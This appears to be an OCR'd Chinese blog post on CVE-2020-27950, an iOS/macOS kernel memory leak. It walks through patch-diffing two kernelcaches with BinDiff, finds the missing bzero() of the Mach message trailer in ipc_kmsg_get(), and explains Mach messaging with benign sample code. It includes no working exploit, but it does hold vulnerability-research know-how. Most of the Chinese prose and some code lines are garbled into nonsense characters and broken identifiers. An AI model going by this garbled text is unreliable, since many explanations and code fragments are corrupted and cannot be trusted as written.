CVE-2020-27950 msgh_ad{g 2itt 8

Author: wnagzihxaln
Email: wnagzihxaln@gmail.com

N

1 Available for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6
3 Impact: A malicious application may be able to disclose kernel memory.
Apple is aware of reports that an exploit for this issue exists in the

wild.

Description: A memory initialization issue was addressed.

N o oW

CVE-2020-27950: Google Project Zero

IREXEXEEWCVE-2020-27950 A% (= Bt ERE

® https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiti

ng-cve-2020-27950-kernel-memory-leak.html#

BB bindiffth T X EEERDTIOSAZIRE, B 7 ADIR, MREAITEEEIFNDTI
EAUZER

H{EAiPhone 689F N EERRAS: 12.4.88112.4.9
TRERRZNIOS 12.4.8 (16G201) for iPhone 6

® http://updates-http.cdn-apple.com/2020SummerFCS/fullrestores/001-11131/71ECCF5
6-5998-4F84-9386-F91387BC68A5/iPhone 4.7 12.4.8 16G201 Restore.ipsw

#NT RRZRIOS 12.4.9 (16H5) for iPhone 6

® http://updates-http.cdn-apple.com/2020FallFCS/fullrestores/001-73435/24D71947-C37
D-4A9F-A958-340EDCA61AC4/iPhone 4.7 12.4.9 16H5 Restore.ipsw

XA EHE R ZIPESE X4

1 > ~ file *.ipsw

2 iPhone 4.7 12.4.8 16G201 Restore.ipsw: Zip archive data, at least v2.0
to extract

3 iPhone 4.7 12.4.9 16H5 Restore.ipsw: Zip archive data, at least v2.0

to extract


mailto:wnagzihxa1n@gmail.com
https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak.html#
http://updates-http.cdn-apple.com/2020SummerFCS/fullrestores/001-11131/71ECCF56-5998-4F84-9386-F91387BC68A5/iPhone_4.7_12.4.8_16G201_Restore.ipsw
http://updates-http.cdn-apple.com/2020FallFCS/fullrestores/001-73435/24D71947-C37D-4A9F-A958-340EDCA61AC4/iPhone_4.7_12.4.9_16H5_Restore.ipsw

fRIE48 3, kernelcache.release.iphone? Fl=/E4EEIMZ Z#HEIXHE

1 = iPhone 4.7 12.4.8 16G201 Restore 1ls -al

2  total 6012560

3 drwxr-xr-x@ 9 wnagzihxaln staff 288

4  drwxr-xr-x wnagzihxaln staff 224

5 —rw-r--r--@ wnagzihxaln staff 2874835794
004 .dmg

6 -rw-r--r--@ wnagzihxaln staff 93846555
004 .dmg

7 —rw-r--r--@ wnagzihxaln staff 91602971
004 .dmg

8 =-rw-r--r--@ 1 wnagzihxaln staff 128367
BuildManifest.plist

9 drwxr-xr-x@ 10 wnagzihxaln staff 320

10 -rw-r--r--@ 1 wnagzihxaln staff 985
Restore.plist

11 -rw-r--r--@ 1 wnagzihxaln staff 14061377

kernelcache.release

iPhone 6{FFARYELZSSE4 &)

1 -
kernelcache.release
2 00000000: 3083 d68f
3 00000010: 6¢cl6 ledb
4 00000020: 696c 6465
5 00000030: 3504 83d6
6 00000040: b99c Olae
7 00000050: 0000 0000

8 *
9 000001b0O: 0000 0000
10 000001cO: 00f6 f002
11 000001d0: £100 19f6

BAIXSEAITREERYE, (AR THRZEIzssdec
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1. .KernelCacheBu
ilder-1469.260.1

Booooc complzss.Z

e http://nah6.com/~itsme/cvs-xdadevtools/iphone/tools/lzssdec.cpp

THRE

1 -

xdadevtools/iphone/tools/lzssdec.cpp

2 -

lzssdec wget http://nahé6.com/\~itsme/cvs-

lzssdec g++ lzssdec.cpp -o lzssdec


http://nah6.com/~itsme/cvs-xdadevtools/iphone/tools/lzssdec.cpp

fE%8kernelcacheXXff, MAFKNRE T — T FERBNEGIRA, BEEREETH T EHEIH
RZS

1 - iPhone 4.7 12.4.8 16G201 Restore ./lzssdec -o 0xlb6 <

kernelcache.release.iphone7 > kernelcache.release.iphone7.bin

M REAMRATH T frAAIkernelcache SV ER R 4F T

1 = iPhone 4.7 12.4.8 16G201 Restore file
kernelcache.release.iphone7.bin
2 kernelcache.release.iphone7.bin: Mach-0 64-bit executable armé64

3 = 1iPhone 4.7 12.4.9 16H5 Restore file kernelcache.release.iphone7.bin

4  kernelcache.release.iphone7.bin: Mach-0 64-bit executable armé64

B bindiffif{T4h T 3IEE, bindiffflEEREFHEIT6

FAR—LAREEFNERERE, WindowsHIDABRIBRMN7.5, MimacOSRE7.0, WREIDA
7.0, BRIREEEMDINdIffS, MRL7.S, FOMEMbIndiff 618

MacOShRAE — MBI T B IR IAIR
1 =» ~ sudo 1ln -s

/Applications/BinDiff/BinDiff.app/Contents/MacOS/bin/bindiff
/Applications/BinDiff/BinDiff.app/Contents/app/bindiff

NTERESHUFIEUREERID ISR, FOREERIDAT.S
BRI XHENIDA 7.5#1T704, ERidbXH, B@IbindiffomiXmmPNidb > 4

@ C:\Users\Potat0\BinDiff Workspace\BinDiff Workspace.BinDiffWorkspace - BinDiff - X
File Diffs Settings Help

J’ 7 Workspace \\

[“1 single Function Diff Views (0) 4|- Overview
N kemeloache rsiasse iphone/ bin vz kemelcach Basic Blocks 100.0% Jumps 100.0% Instructions -160.4% Similarity 0.99
%2 Call Graph (65841/65841) .
I3 Matched Functions (65841) uo.zxk ~_am 2g
4Za Primary Unmatched Functions (0/65841) 8
<2 Secondary Unmatched Functions (0/65841) = =6
3
g2
r n 2
1353 Z9
[130.2%
65841 / 65841 Matched Functions
|'” ” {3}‘ [v] Show structural changes [v] Show only instructions changed [¥] Show identical
Similarity - | Confidence Address Primary Name Type Address Secondary Name Type |BasicBloc..| Jumps
i 0.99 0.99 76A8278 | sub_| 76A8278 | Normal | FFFFFFFRB76A82A8 |sub_FFFFFFFBB76A82A8 | No.. [0 8 0/0 9 0|*]
) 0.99 0.99 FFFFFFFOB768E3AC | sub_FFFFFFF@B768E3AC | Normal | FFFFFFF@@768E3BC | sub_FFFFFFF@B768E3BC | No.. [0 29 0|0 45 0
B 0.99 0.99 FFFFFFFRO768E164 | sub_FFFFFFFRO768E164 | Normal | FFFFFFF@B768E164 | sub_FFFFFFFO@768E164 | No.. |0 20 0|0 31 0
T 0.99 0.99 FFFFFFFOO76A7824 | sub_FFFFFFF@@76A7824 | Normal | FFFFFFFBB76A7848 | sub_FFFFFFFO@76A7840 | No.. |0 22 0|0 36 0
™ 0.99 0.99 FFFFFFFOO76A7A98 | sub_FFFFFFFRO76A7A98 | Normal | FFFFFFF@B76A7ACO | sub_FFFFFFFO@76A7ACO | No.. |0 74 0|0 109 0
i 0.99 0.99 FFFFFFFOO76BE438 | sub_FFFFFFF@@76BE438 | Normal | FFFFFFF@B76BE470 | sub_FFFFFFF@@76BE470 | No.. |0 59 0|0 89 0
i 0.99 0.99 FFFFFFFRO76BF8C8 | sub_FFFFFFFA@76BF8C8 | Normal | FFFFFFF@B76BF908C | sub_FFFFFFFO@76BF90C | No.. |0 56 0|0 86 0
& 0.99 0.99 76BB33C | sub_| 76BB33C | Normal 76BB370 | sub_FFFFFFFe@76BB378 | No.. |0 46 0|0 68 O
& 1.00 097 FFFFFFFR@85A2BF4 | sub_FFFFFFFO@85A2BF4 | Normal | FFFFFFF@@85A2C34 |sub_FFFFFFFO@85A2C34 | No.. (0 1 0
& 1.00 0.95 FFFFFFFRO7E68DO8 | sub_FFFFFFFRO7E68DB8 | Normal | FFFFFFFO@7E68D48 |sub_FFFFFFFOB7E68D48 | No.. (0 2 0/0 1 0
;T 1.00 0.62 8102148 | sub_FFFFFFF 102148 | Normal | FFFFFFF008102188 |sub_FFFFFFF@@8102188 | No.. [0 1 0
%) 1.00 099 0013A0 | sub_FFFFFFF 2} 13A0 | Normal | FFFFFFF ] 13E@ | sub_FFFFFFFO 0013E@ | No.. [0 4 00 3 0
i 1.00 099 FFFFFFFBB878CA6C | sub_FFFFFFFOB870CAGC | Normal | FFFFFFF@@870CAAC | sub_FFFFFFF@B876CAAC | No.. |0 28 0/0 41 0|
+0 /-0 Added and removed Parent Functions calling the selected Functions
‘ ‘Similarityr ‘Oonfide,__, | Address - ‘ Primary Name ‘Typer ‘ Address ‘ Secondary Name ‘ Type ‘ BasicBIocks‘ Jumps |
+0 /-0 Added and removed Child Functions called from the selected Functions
2 n T ol ‘ ‘Similarity'r‘Confide,_, | Address ‘ Primary Name ‘Typer ‘ Address ‘ Secondary Name ‘ Type ‘ BasicBIocks‘ Jumps |




ATHSMERT DN —K=ITARAINEXREXE (
F T HXLRZ AT ERAY

V& kernelcachefz

A 3

JE]F)Y , 1o

Bl ke_12.4.8 Mke_12.4.9, BE/\TERRE, BETRFEZEENN, RUFET

RERZ RN T [B—ER R

1 _ TEXT EXEC: text:FFFFFFF00768E4C4 MOV

2 _ TEXT EXEC: text:FFFFFFF00768E4C8 MOV

3 TEXT EXEC: text:FFFFFFF00768E4CC BL
sub FFFFFFF00766D6C0

4 TEXT EXEC: text:FFFFFFF00768E4D0 MOV

W1, #0x44 ; 'D'
X0, X20
W23, #0

MELCRELTREREIER}NRE, BB ke _12.4.8 f1— 1 HERSHI kc_symbols, 7%

ZAHICRNATEE, BIbindifflgHrzl

RE T W ERNRS

MT=1TRHBEP—TEBEFRE, BRRBKRINZ ipc_kobject_server() , ULHIHEI T

REHAEITS

bindiff_symbol

_ipc_kmsg_get_from_kernel

_ipc_port_send_turnstile_prepare

kc_12.4.8 func_name kc_12.4.9 func_name Similarity
sub_FFFFFFFO0768E3AC sub_FFFFFFFO0768E3BC 0.58
sub_FFFFFFFO0768E164 sub_FFFFFFFO0768E164 0.96 _ipc_kmsg_get
sub_FFFFFFFO076A7824 sub_FFFFFFFO076A7840 0.13
sub_FFFFFFFO076BE438 sub_FFFFFFFO076BE470 0.1
sub_FFFFFFFO076BF8C8 sub_FFFFFFF0076BF90C 0.28

_ptmx_get_ioctl

true_symbol
ipc_kmsg_get_from_kernel

ipc_kmsg_get

_mach_gss_accept_sec_context_v2

ipc_kobject_server

BIREZE T RIBEH sub FFFFFFF00766D6C0 , TAE =K bzero()

@ Ci\Users\Potat0\BinDiff Workspace\BinDiff Workspace.BinDiffWorkspace - BinDiff - X
File Diffs Settings Help

| & Workspace W %, sub_FFFFFFF00766D6CO vs _bzero X

[ single Function Diff Views (0) : Overview

] release.iphone7.bin vs i 0/ Ly i 0/ imilari

’ £, Call Graph (65641/65841) Basic Blocks 100.0% Jumps 100.0% Instructions -190.0% Similarity 0.22

Iy Matched Functions (65841)
& Primary Unmatched Functions (0/65841)
sTx Secondary Unmatched Functions (0/65841)
1 kemelcache.release.iphone7.bin vs kernelcach
i3 Call Graph (65841/106424)
, Matched Functons (57298)
Za Primary Unmatched Functions (8543/65841
sh Secondary Unmatched Functions (49126/1C

13
100.0%;

\

PSS

20
145.0%

T
[145.0%

Matched Functions
) -
wn o

=)
15

5/ 57298 Matched Functions

‘bzero |VH £ ” " 2 ‘ Show structural changes [v] Show only instructions changed [v] Show identical
‘ Similarity ‘ Confidence| Address Primary Name # Type Address Secondary Name Type|Basic Bloc.., Jumps
3 FFFFFF... | sub_FFFFFFFBB766D6CO No... |FFFFFF... | _bzero .. |0 9 00 13 0
FFFFFF... |sub_FFFFFFFOB7889A4C Normal | FFFFFF. .. | _kcdata_bzero No..[70 @ 1/124 3 o
FFFFFF... |sub_FFFFFFF@B78CCC58 Normal | FFFFFF. .. | _bzero_phys_nc No..|14 19 24(34 16 46
FFFFFF... |sub_FFFFFFF@B78CCDES Normal | FFFFFF. .. | _bzero_phys No..|7 16 2625 11 50
FFFFFF... |sub_FFFFFFFB@7B1A9FC Normal | FFFFFF. .. | _bzero_keys No..[0 21 00 29 0
+874 /-582 Added and removed Parent Functions calling the selected Functions
‘ ‘Similarityr ‘COnfide.,_v | Address | Primary Name ‘Type‘ ‘ Address ‘ Secondary Name ‘ Type ‘ Basic Blocks‘ Jumps ‘ ‘
+0 /-0 Added and removed Child Functions called from the selected Functions
q g T ol ‘ ‘Similaritya‘ ‘Confide.__, | Address - ‘ Primary Name ‘Typer ‘ Address ‘ Secondary Name ‘ Type ‘ BasicBIocks‘ Jumps |

AX—HRIE, BWRNEERE T RFENRED TR



https://mp.weixin.qq.com/s/4uJMMkCrIR9kk45TGBZxAQ

BMFEDIXNUIRES, STM="ERSHRETE— 1 #HITOWN, BEETH
)| ipc_kmsg get()

BIFANIIFFR 7 & FHY xnu-7195.50.7.100.1

® https://opensource.apple.com/tarballs/xnu/xnu-7195.50.7.100.1.tar.gz

B —1PB—SMkRZA xnu-6153.141.1

® https://opensource.apple.com/tarballs/xnu/xnu-6153.141.1.tar.gz

BIE—3ItE, RARZ TR bzero() BIIAMH

1 bzero(trailer, sizeof(*trailer));

EBRRERA, BT R

€ ipc_kmsg.c X o C ipc_kmsg.c X o

osfmk > ipc > € ipc_kmsg.c > & ipc_kmsg_get(mach_vm_address_t, mach_msg_size_t, ipc_kmsg_t *)

osfmk > ipc > € ipc_kmsg.c > & ipc_kmsg_get(mach_vm_address_t, mach_msg_size_t, ipc_kmsg_t *)
1064 ERTH %.8d\n",

2013 knsg->ikm_header->nsgh_bits,
1665 kmsg—>ikm_header->msgh_size, 2014 knsg->ikn_header->nsgh_remote_port,
1666 kmsg->ikn_header->msgh_bits, 2015 kmsg->ikm_header->msgh_local_port,
1667 kmsg—>ikn_header->nsgh_remote_port, 2016 knsg->ikn_header->msgh_voucher_port,
1668 kmsg->ikn_header->msgh_local_port, 2017 knsg->ikn_header->msgh_id);
1669 knsg->ikn_header->msgh_voucher_port,
1670 kmsg->ikm_header->msgh_id); 2019 if (copyinmsg(msg_addr, (char *)(kmsg->ikm_header + 1), size - (mach_msg_size_t)

2020 ipc_kmsg_free(kmsg);
1672 if (copyinmsg(msg_addr, (char *)(kmsg->ikm_header + 1), size - (mach_msg_size_t) 2021 return MACH_SEND_INVALID_DATA;
1673 ipc_kmsg_free(kmsg); 2022 } o -
1674 return MACH_SEND_INVALID_DATA;
1675 } 2024 /% unreachable if IDEBUG +/

2025 __unreachable_ok_push
1677 /% unreachable if !DEBUG / 2026 if (DEBUG_KPRINT_SYSCALL_PREDICATE(DEBUG_KPRINT_SYSCALL_IPC_MASK)) {
1678 __unreachable_ok_push 2027 kprintf(“body: size: %lu\n", (size - sizeof(mach_msg_header_t)));
1679 if (DEBUG_KPRINT_SYSCALL_PREDICATE(DEBUG_KPRINT_SYSCALL_IPC_MASK)) { 2028 uint32_t i;
1680 kprintf("body: size: %lu\n", (size - sizeof(mach_msg_header_t))); 2020 for (i =0; i %4 < (size - sizeof(mach_msg_header_t)); i++) {
1681 uint32_t i; 2030 kprintf ("%, 4x\n", ((uint32_t %) (knsg->ikm_header + 1)) [i]);
1682 for (i=0; i 4 < (size - sizeof(mach_msg_header_t)); i++) { }
1683 kprintf("%.4x\n", ((uint32_t x)(kmsg->ikm_header + 1)) [i]); 2032 }
1684 } 2033 __unreachable_ok_pop
1685 ¥ 2034 DEBUG_IPC_KMSG_PRINT(kmsg, "ipc_kmsg_get()");
1686 __unreachable_ok_pop
1687 DEBUG_IPC_KMSG_PRINT(kmsg, "ipc_kmsg_get()"); 2036 /%

2037 * I reserve for the trailer the largest space (MAX_TRAILER_SIZE)
1689 % 2038 * However, the internal size field of the trailer (msgh_trailer_size)
1690 * I reserve for the trailer the largest space (MAX_TRAILER_SIZE) 2039 * is initialized to the minimum (sizeof(mach_msg_trailer_t)), to optimize
1691 * However, the internal size field of the trailer (msgh_trailer_size) 2040 % the cases where no implicit data is requested.
1692 * is initialized to the minimum (sizeof(mach_msg_trailer_t)), to optimize 201 w/
1693 * the cases where no implicit data is requested. 2042 trailer = (mach_msg_max_trailer_t x) ((vn_offset_t)kmsg->ikm_header + size);
1694 */ 2043 bzero(trailer, sizeof(ktrailer));
1695 trailer = (mach_msg_max_trailer_t %) ((vn_offset_t)kmsg->ikm_header + size); 2044 trailer->msgh_sender = current_thread()->task->sec_token;
1696 trailer->msgh_sender = current_thread()->task->sec_token; 2045 trailer->msgh_audit = current_thread()->task->audit_token;
1697 trailer->msgh_audit = current_thread()->task->audit_token; 2046 trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
1698 trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0; 2047 trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
1699 trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;

2049 #ifdef ppc

1701 #ifdef ppc 2050 if (trcWork.traceMask) {

1702 if (trcWork.traceMask) { 2051 (0x1100, (unsigned int)kmsg->ikm_header->msgh_id,
1703 dbgTrace(0x1100, (unsigned int)kmsg->ikn_header->nsgh_id, 2052 (unsigned int)kmsg->ikn_header->msgh_remote_port,
1704 (unsigned int)kmsg->ikm_header->msgh_remote_port, 2053 (unsigned int)kmsg->ikm_header->msgh_local_port, 0);
1705 (unsigned int)kmsg->ikn_header->msgh_local_port, ); 2054 3

1706 } 2055 #endif

1707 #endif

2057 trailer->nsgh_labels. sender
1709 trailer->msgh_labels. sender = 0; 2058 wkmsgp = kmsg;
1710 *kmsgp = kmsg; 2059 return MACH_MSG_SUCCESS;
1711 return MACH_MSG_SUCCESS;

2062 /x
2063+ Routine:  ipc_kmsg_get_from kernel

1715 | x Routine:  ipc_kmsg_get_from_kernel 2064 % Purpose:
2065 * First checks for a preallocated message

1717 | * First checks for a preallocated message 2066 x reserved for kernel clients. If not found -

®@5A0 Ln 1592, Col 13 (12 selected) TabSize:4 UTF-8 LF C ) X @54 Ln 2043, Col 38 (33 selected) TabSize:4 UTF-8 LF C Mac

HTIRENZTE trailer £EZ mach msg max trailer t, MMmach msg max trailer t

=M mach msg mac trailer t &N

1  typedef mach msg mac trailer t mach msg max trailer t;

2 mach_msg max_trailer_ t *trailer;

mach msg mac trailer t E— TG, EXTNEREREXMHELITRD
%%: MACH MSG_TRAILER MINIMUM SIZE, MAX TRAILER SIzE, P RIRRZAMtrailerflH
NtrailerkKE, HEFRITAILAREIEHE mach msg trailer t IENX

1 #define MACH_MSG_TRAILER_MINIMUM SIZE sizeof(mach msg trailer t)


https://opensource.apple.com/tarballs/xnu/xnu-7195.50.7.100.1.tar.gz
https://opensource.apple.com/tarballs/xnu/xnu-6153.141.1.tar.gz

2 #define MAX TRAILER SIZE

((mach msg size t)sizeof(mach msg max trailer t))

3

4  typedef struct{

5 mach msg trailer type t msgh trailer type;
6 mach msg trailer size t msgh_trailer size;
7 mach _port seqno_t msgh_seqno;

8 security token t msgh sender;

9 audit_token_t msgh_audit;

10 mach port context t msgh context;

11 mach msg filter id msgh_ad;

12 msg_labels t msgh_labels;

13 '} mach msg mac trailer t;

15 typedef struct({
16 mach msg trailer type t msgh trailer type;
17 mach msg trailer size t msgh trailer size;

18 } mach msg trailer t;

MERREXFINER, &ARMtrailerBBEF/LTFE, KERN 0x44, ME/NEtrailerSEiER
BRWITFE, KEN 0x08

CEMGERBINERH—TIRE, LEMERTAER, EMERERE, BPSAHEREEES W

IE 3£

EEAIXNREAANT, Hatrailer? HARIEREAREIXERAE?
ERANTEF, BEMFRNBERERXNRE, MERI KT S TEMANIR

1. Mach Message
2. Mach Port

Mach@XNURZI A%, ELM TIRIFRSRERNINEE: HENLRERR, EMREFERE,
ESEE, #HIEEBEHHESEENH

BSDEIFMachz £, B31F: WNEMMER, XERSKIHLE, REIHOESE
M EXRBE CRANEHTMac OS X & IOSIRIERS) £_=

EMachhBH —PMRERIMZ0UEMessage, HMEER, HEEM T PortZEfEE, HED
jj Simple Message *D Complex Message, T/Ejgg%li/ﬁ%, E%@.é\ﬁ"]$ Q@?Egttﬁﬁf\ﬁ'%
EZ

Portfa B8 n] AR I — NAIZHE BRATl, TaskBliE— 1 Port/g, RAIZTaskX X NPortHEI
JHERIRight, HEETask#l A AEIREUA IZRIght FXF1ZPort & 1%58 2

Mach MessagefJiZI S & iX KK E mach msg () #H1T, XPNRIBEAFTS AZSHIE LM



extern mach msg return t mach msg(

mach msg header t *msg,

mach msg option t option,
mach msg size t send_size,
mach _msg_size t rcv_size,
mach port name t rcv_name,
mach msg timeout t timeout,
mach port name t notify);

—ZEKREEHR Message Header | Message Body 1"@552, TR NEFEFT DHRE, il
EHeZItrailer

typedef struct{
mach msg header t header;
mach msg body t body;

} mach msg base t;

typedef struct({

mach msg bits t msgh bits;

mach msg size t msgh_size;
mach_port_t msgh_remote_port;
mach port t msgh local port;
mach port name t msgh_voucher port;
mach msg id t msgh_id;

} mach msg header_ t;

typedef struct{
mach msg size t msgh descriptor count;

} mach msg body t;

MEXRB CRABETMac OS X & iIOSIMERS) F+E
BT —EERHEZZE, BNEWMTEAEFREAMach Message

® https://docs.darlinghg.org/internals/macos-specifics/mach-ports.html

glZZReceiver PortHEEERCEE

BRRAIZERIZE D E— 1 Port

mach _port t port;
mach _port_allocate(mach_ task_self(), MACH _PORT RIGHT RECEIVE, &port);

IRER7EPort& jH B RIRIght


https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html

1 mach port insert right(mach task self(), port, port,
MACH MSG_TYPE MAKE SEND);

A RGUEMZPort, XAFHEHEER ] UBIE X N A& FEEREZPort

1  bootstrap register(bootstrap port, "com.wnagzihxaln.port", port);

BT R E mach msqg() FAEAEFFEWEHR

1  struct {

2 mach msg header t header;

3 char some text[10];

4 int some_number;

5 mach _msg_trailer_t trailer;

6 } message;

7

8 kr = mach msg(

9 smessage.header, // B —MEE (mach msg header t *) s&message.
10 MACH RCV_MSG, // FRFMURIN: REFIZER, LR
11 0, // RIFEHBHKE

12 sizeof (message), / FEFERICERNKE

13 port, // EIRBUEEMport

14 MACH MSG_TIMEOUT NONE,

15 MACH_PORT NULL);

ERtrailerfELLALRNER, trailerB] BAMSINTEE B EEBEANENIMNTIEK, trailerNITFENES X
E’]msgh size, bﬁgaﬁfj‘k}g%ﬁxmsgh trailer size, JJ:UL{E}EHEI’J EE'—/J\EI’] Strailer

1 typedef struct({

2 mach msg trailer type t msgh trailer type;
3 mach msg trailer size t msgh trailer size;
4 } mach msg trailer t;

jXENSender PortH@ELIEEE
ERHIREVIEEPort

1 mach port t port;

2 bootstrap look up(bootstrap port, "com.wnagzihxaln.port", &port);

MIEHE



struct {
mach msg header t header;
char some text[10];
int some_number;

} message;

~N o o W N R

message.header.msgh bits = MACH MSGH_BITS(MACH_MSG TYPE COPY_ SEND,
0);

8 message.header.msgh remote port = port;

9 message.header.msgh local port = MACH_ PORT_NULL;

10

11 strncpy(message.some_text, "Hello", sizeof(message.some text));

12 message.some number = 1337;

LB REER, EFREZTSH

kr = mach msg(
smessage.header, // B—MEA (mach msg header t *) smessage.
MACH SEND MSG, // PRI REMNEW, AR KIE
sizeof (message), // RIFXHENKE
0, / EEEICEENKE
MACH_PORT NULL, // EIREUEEMport
MACH_MSG_TIMEOUT NONE,
MACH_PORT NULL);

0 N o Ok W N

Zl b5 Mach MessagehiEIN S & %R

MREMEBAIIBEIXMREXE, F—ROAEEE0A, ERE_FINRBERAINT, &E
BiB1TEER

® https://docs.darlinghg.org/internals/macos-specifics/mach-ports.html

® Nhttps://flylib.com/books/en/3.126.1.107/1/

BANRBUNAIAEX I IZR A IEtrailerf9/ERA, Y8 mach msg trailer tiX
N mach msg security trailer t, [ERMENREI mach masg() B _ TS

struct {
mach msg header t header;
char some_ text[10];
int some_ number;
mach msg security trailer t trailer;

} message;

kr = mach_msg(

W 00 J o U1 & W N =

smessage.header, // B —MEJA (mach msg header t *) smessage.


https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
https://flylib.com/books/en/3.126.1.107/1/

10 MACH RCV_MSG |

MACH RCV_TRAILER ELEMENTS (MACH RCV_TRAILER SENDER), /] <-- @&
trailerif&X1I

11 0, /] RIFEHEBHKE

12 sizeof (message), // FHEIEENKE

13 port, /] EIREUEEMport

14 MACH_MSG_TIMEOUT_ NONE,

15 MACH_PORT NULL) ;

SIKENHR, BIFHTEHREEEENER

printf("Sender's user id is %u\nSender's user group is %u\n",
message.trailer.msgh sender.val[0],

message.trailer.msgh sender.val[l]);

// Sender's user id is 501

// Sender's user group is 20

// > id

// uid=501(wnagzihxaln) gid=20(staff) groups=20(staff)

0 N o U1 W N

MZTEFERTABE R, PortizIRE A UMK mach_msg () RSP RZIEEIREN—LEEK
&

M ERIBREE (Mac OS XIEARWE) BNE

HE mach_msg() B TSHBUWTRIGEL, XTSHERNKER option KRR

1 /* The options that the kernel honors when passed from user space */
2 #define MACH SEND USER (

3 MACH_SEND_MSG |

4 MACH_SEND_ TIMEOUT |

5 MACH SEND NOTIFY |

6 MACH_SEND OVERRIDE |

7 MACH_ SEND TRAILER |

8 MACH_SEND NOIMPORTANCE |

9 MACH SEND SYNC_OVERRIDE |

10 MACH_ SEND PROPAGATE_ QOS |

11 MACH SEND_ SYNC BOOTSTRAP CHECKIN |
12 MACH_MSG_STRICT REPLY |

13 MACH RCV_GUARDED DESC)

14

15 #define MACH RCV_USER (

16 MACH RCV_MSG |

17 MACH_RCV_TIMEOUT |

18 MACH RCV_LARGE |

19 MACH_RCV_LARGE_IDENTITY



MACH RCV_VOUCHER |

MACH RCV_TRAILER MASK |
MACH_RCV_SYNC_WAIT |
MACH RCV_SYNC_PEEK |
MACH RCV_GUARDED DESC |
MACH MSG_STRICT REPLY)

MR FMach Message RIEFS EHIKEARRENEBRNRAZ—EZEE LEX/LERB
M TRIEARITFMach Message#B 7 —EMNEARIERE, HEMRT 2RSS KBOREILIE
K3

FAVBENRE mach msg(), K% mach msqg() RFHRE mach msg trap(), B

= mach msg trap() SRR EL mach msg overwrite trap()

mach _msg return_t
mach msg trap(

struct mach msg overwrite trap args *args)

{
kern_return_t kr;
args->rcv_msg = (mach vm address t)0;
kr = mach msg overwrite trap(args);
return kr;

}

XEBEAERMMBENIEESTANIHS: MACH RCV_MSG H] MACH SEND MSG

HERE mach msg() B _1SEZE MACH SEND MSG BIRT(R, REN ipc kmsg get() AFDECE
X F M P SEE N BIERINZS

mach msg return t
mach msg_overwrite trap(

struct mach msg overwrite trap args *args)

{

mach vm address t msg addr = args->msg;

mach msg option t option = args->option; // mach msg()%E_
TS

mach msg return t mr = MACH MSG_SUCCESS; // A& AAl

vm_map t map = current_map():;

/* Only accept options allowed by the user */
option &= MACH MSG_OPTION USER;



if (option & MACH SEND MSG) {
ipc _space t space = current space();
ipc _kmsg t kmsg; // BlEkmsgTE

/! PEEFXFHMAFEE NEBIERINZS

mr = ipc _kmsg get(msg addr, send size, &kmsg);

// im0, MRBPSERANRZSHE

mr = ipc kmsg copyin(kmsg, space, map, override, &option);
/] RIFHE

mr = ipc kmsg send(kmsg, option, msg timeout);

if (option & MACH RCV_MSG) {

return MACH_MSG_SUCCESS;

BREN ipc_kmsg get() BT IREREL, ipc kmsg t MIRASHVE BIFMEEHMME, ENIES
AR

mach msg return t
ipc_kmsg get(
mach vm address t msg_addr,

mach msg size t size,

ipc _kmsg t *kmsgp)
{
mach msg_size_ t msg_and_trailer_ size;
ipc _kmsg t kmsg;
mach msg max trailer t *trailer;
mach msg legacy_ base_ t legacy base;
mach msg size t len copied;

legacy base.body.msgh descriptor count = 0;
/! KEZERE

// mach_msg_legacy base tZEi{fKEF FTmach_msg base t

if (size == sizeof(mach msg legacy header t)) {

len copied = sizeof(mach msg legacy header t);
} else {

len copied

sizeof (mach msg legacy base t);

// MRPESEIVER RIS

if (copyinmsg(msg addr, (char *)&legacy base, len copied)) {



25 return MACH SEND INVALID DATA;

26 }

27

28 // SR AZESIE B R Sitcinthit

29 msg_addr += sizeof(legacy base.header);

30

31 // BEEMESEKNtrailerKE, THERKESEXAMERENtrailer, ZH
HRERE

32 // typedef mach msg mac trailer t mach msg max trailer t;

33 // #define MAX TRAILER SIZE
((mach msg size t)sizeof(mach msg max trailer t))

34 msg_and trailer size = size + MAX TRAILER SIZE;

35

36 /! DERZE=E

37 kmsg = ipc_kmsg alloc(msg_and trailer size);

38

39 // #iAftkmsg.ikm headerEf D FER

40

41 /7 BIVERAK, A8 Etrailer

42 if (copyinmsg(msg addr, (char *)(kmsg->ikm header + 1), size -

(mach msg size t)sizeof(mach msg header t))) {

43 ipc_kmsg free(kmsg);

44 return MACH SEND INVALID DATA;

45 }

46

a7 // B sizeiF|kmsgEEftrailerfUfCiatthit, #HITHIARK

48 // ERERmsgh_trailer_size@&/\HIMACH MSG_TRAILER MINIMUM SIZE
49 trailer = (mach msg max trailer t *) ((vm offset t)kmsg-

>ikm header + size);

50 trailer->msgh _sender = current thread()->task->sec_token;
51 trailer->msgh audit = current thread()->task->audit token;
52 trailer->msgh trailer type = MACH MSG TRAILER FORMAT 0;

53 trailer->msgh_trailer size = MACH_MSG TRAILER MINIMUM SIZE;
54 trailer->msgh labels.sender = 0;

55

56 *kmsgp = kmsg;

57 return MACH_MSG_SUCCESS;

58 }

PREN ipc_kmsg get () EREMEtrailerf9it{®, {FFAAYZE mach msg max trailer t, % kmsg
HFIBMNKENRIZE nach msg max_trailer tit8E, EBR¥NALKT=1"FE, HEFEHRXR
Miat, XE2REMEZ—

1 trailer->msgh_sender = current thread()->task->sec_token;
2  trailer->msgh _audit = current thread()->task->audit token;

3 trailer->msgh labels.sender = 0;



typedef struct{

mach msg trailer type t

mach msg trailer size t

mach_port_segno_t msgh_seqno;
security token t msgh sender;
audit token t msgh_audit;
mach_port_context_t msgh_context;
mach msg filter id msgh_ad;

msg labels t msgh labels;

} mach msg mac_trailer t;

HEE mach msg() B _TSEE MACH Rcv_Mse MR, SIERE

0 mach msg receive results() EEVHE

mach msg return t

mach msg overwrite trap(

mach msg option t

struct mach msg overwrite trap args *args)

/] Mt EMRTE

mach vm address_t

/* Only accept options allowed by the user */
option &= MACH MSG_OPTION_ USER;

// mach msg(): RIXHE
if (option & MACH SEND MSG) {

// mach msg(): EUCER, BAIXIEIXTDX
if (option & MACH_RCV_MSG) {

thread t self = current thread();
ipc_space_t space = current_space();
